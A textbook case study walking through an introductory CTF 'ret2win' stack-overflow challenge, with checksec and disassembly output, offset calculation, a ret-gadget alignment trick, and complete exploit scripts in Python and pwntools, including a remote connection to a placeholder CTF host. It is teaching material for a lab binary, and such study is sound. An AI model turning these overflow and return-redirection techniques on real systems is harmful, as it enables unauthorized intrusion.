Case Study 40-1: CTF Pwn Challenge — A Complete Walkthrough

Introduction

CTF (Capture The Flag) competitions are the practitioner's arena for everything in Part VII of this book. The "pwn" (exploitation) category presents you with a binary, a remote server running that binary, and the task: get the flag. No source code. No hints about the vulnerability. Just the binary and your skills.

This case study walks through the complete process for a challenge modeled on the classic introductory CTF pwn category: "ret2win" — find the overflow, find the target function, redirect execution there. The challenge is educational and illustrative; the binary described corresponds to a standard teaching example from public CTF archives.

🔐 Security Note: CTF challenges are designed to be exploited. Participating in legitimate CTFs is legal and explicitly authorized. The techniques described here are used in CTF contexts and security research — not for unauthorized access to systems you do not own or have permission to test. This walkthrough is educational.

Phase 1: Initial Reconnaissance

# What type of binary?
$ file ./challenge
challenge: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

# What security mitigations?
$ checksec --file=challenge
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

# What strings look interesting?
$ strings challenge
Enter your name:
Hello, %s!
/bin/sh
flag.txt
Congratulations! Here is your flag: %s
You shouldn't be here...

# What library functions?
$ objdump -T challenge | grep -v "^0"
0000000000000000      DF *UND* ... gets
0000000000000000      DF *UND* ... printf
0000000000000000      DF *UND* ... fopen
0000000000000000      DF *UND* ... fgets

Key observations: 1. No canary: stack overflow to return address is easy — no canary to bypass 2. No PIE: executable loads at 0x400000; addresses are predictable 3. NX enabled: shellcode injection won't work; need to reuse existing code 4. gets import: classic unbounded input — the overflow vector 5. Two interesting strings: /bin/sh AND flag.txt + Congratulations! — there is a "win" function that reads the flag

Phase 2: Finding the Win Function

Open in Ghidra or with objdump:

$ objdump -M intel -d challenge

0000000000401196 <get_name>:
  401196:  push   rbp
  401197:  mov    rbp,rsp
  40119a:  sub    rsp,0x40          ; 64 bytes local buffer
  40119e:  lea    rdi,[rbp-0x40]    ; buf at rbp-64
  4011a2:  call   gets@plt          ; gets(buf) — NO BOUNDS CHECK
  4011a7:  leave
  4011a8:  ret

0000000000401160 <win>:
  401160:  push   rbp
  401161:  mov    rbp,rsp
  401164:  sub    rsp,0x20
  401168:  lea    rdi,[rip+0xe99]   ; "flag.txt"
  40116f:  lea    rsi,[rip+0xe96]   ; "r"
  401176:  call   fopen@plt
  40117b:  mov    [rbp-0x8],rax     ; FILE *f
  40117f:  cmp    QWORD [rbp-0x8],0
  401183:  jne    40119a
  401185:  lea    rdi,[rip+0xe88]   ; "You shouldn't be here..."
  40118c:  call   puts@plt
  ...
  40119a:  ... ; read and print flag

The win function at 0x401160 reads flag.txt and prints it. It is never called during normal execution — we must redirect there via the overflow.

Phase 3: Calculate the Offset

From the disassembly: buffer is at rbp-0x40 (64 bytes from rbp). Saved rbp is at rbp (8 bytes). Return address is at rbp+8.

Offset from buffer to return address: 64 + 8 = 72 bytes.

Confirm with GDB cyclic pattern:

$ gdb -q ./challenge
(gdb) cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
(gdb) run
Enter your name: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
Segfault at 0x6161616161616168
(gdb) cyclic -l 0x6161616161616168
72

Offset confirmed: 72 bytes.

Phase 4: Build the Exploit Payload

We need: - 72 bytes of padding (any content) - 8 bytes: address of win function (0x0000000000401160, little-endian)

But wait — x86-64 requires 16-byte stack alignment before a CALL. When win is entered via our redirect (which is via ret, not call), the stack may not be aligned. Some functions begin with push rbp which adjusts alignment; if win calls fopen which requires aligned stack, we may need to fix alignment.

Solution: the ret sled — instead of jumping directly to win, jump to a ret gadget first. The extra ret pops 8 bytes and re-aligns the stack.

Find a simple ret gadget:

$ ROPgadget --binary challenge | grep ": ret$"
0x000000000040101a : ret

Updated payload: - 72 bytes of padding - 8 bytes: 0x000000000040101a (a bare ret gadget, for alignment) - 8 bytes: 0x0000000000401160 (address of win)

Phase 5: Write the Exploit

Using Python (pwntools style, but readable without pwntools):

#!/usr/bin/env python3
import struct
import subprocess

# Addresses (little-endian 8-byte)
ret_gadget = 0x000000000040101a
win_address = 0x0000000000401160

padding = b'A' * 72
payload = padding
payload += struct.pack('<Q', ret_gadget)    # alignment gadget
payload += struct.pack('<Q', win_address)   # redirect to win

# Run the challenge and pipe in the payload
proc = subprocess.Popen(['./challenge'],
                        stdin=subprocess.PIPE,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.PIPE)

stdout, stderr = proc.communicate(input=payload + b'\n')
print(stdout.decode())

Or with pwntools (the standard CTF tool):

from pwn import *

p = process('./challenge')
payload = b'A' * 72
payload += p64(0x40101a)   # ret gadget for alignment
payload += p64(0x401160)   # win function
p.sendlineafter(b'Enter your name: ', payload)
p.interactive()

Phase 6: Running Against Remote

In a real CTF, the challenge runs on a remote server. Replace process('./challenge') with:

p = remote('challenge.ctf.example.com', 1337)

The payload is identical — the binary is the same, the offsets are the same. The flag comes back from the server's flag.txt.

What We Used from This Book

Every step used specific skills from specific chapters:

Progression in CTF

After ret2win (which requires no ASLR bypass and no advanced techniques), the typical CTF progression is:

1. ret2win (this example): simple overflow, redirect to existing function
2. ret2libc with known addresses: overflow, call system("/bin/sh"), no ASLR
3. ret2libc with ASLR: use ret2plt to leak a libc address, then ret2libc
4. ROP chains: build multi-gadget chains for more complex goals
5. Format string + overflow: two-vulnerability chain to defeat canaries
6. Heap exploitation: use-after-free, double-free, tcache poisoning

Each level requires the knowledge from Parts V-VII. The CTF format provides immediate feedback (wrong payload → segfault; correct payload → flag) and the difficulty calibration is generally well-designed for progressive learning.

The CTF Learning Loop

The most valuable part of CTF is not solving challenges — it is reading writeups for challenges you could not solve. After a CTF ends, write-ups for every challenge are published. Reading them shows you techniques you had not considered, tools you had not known about, and approaches you would not have discovered alone.

This is the fastest way to expand from a baseline of skills (which you now have) to the full breadth of what the security community uses.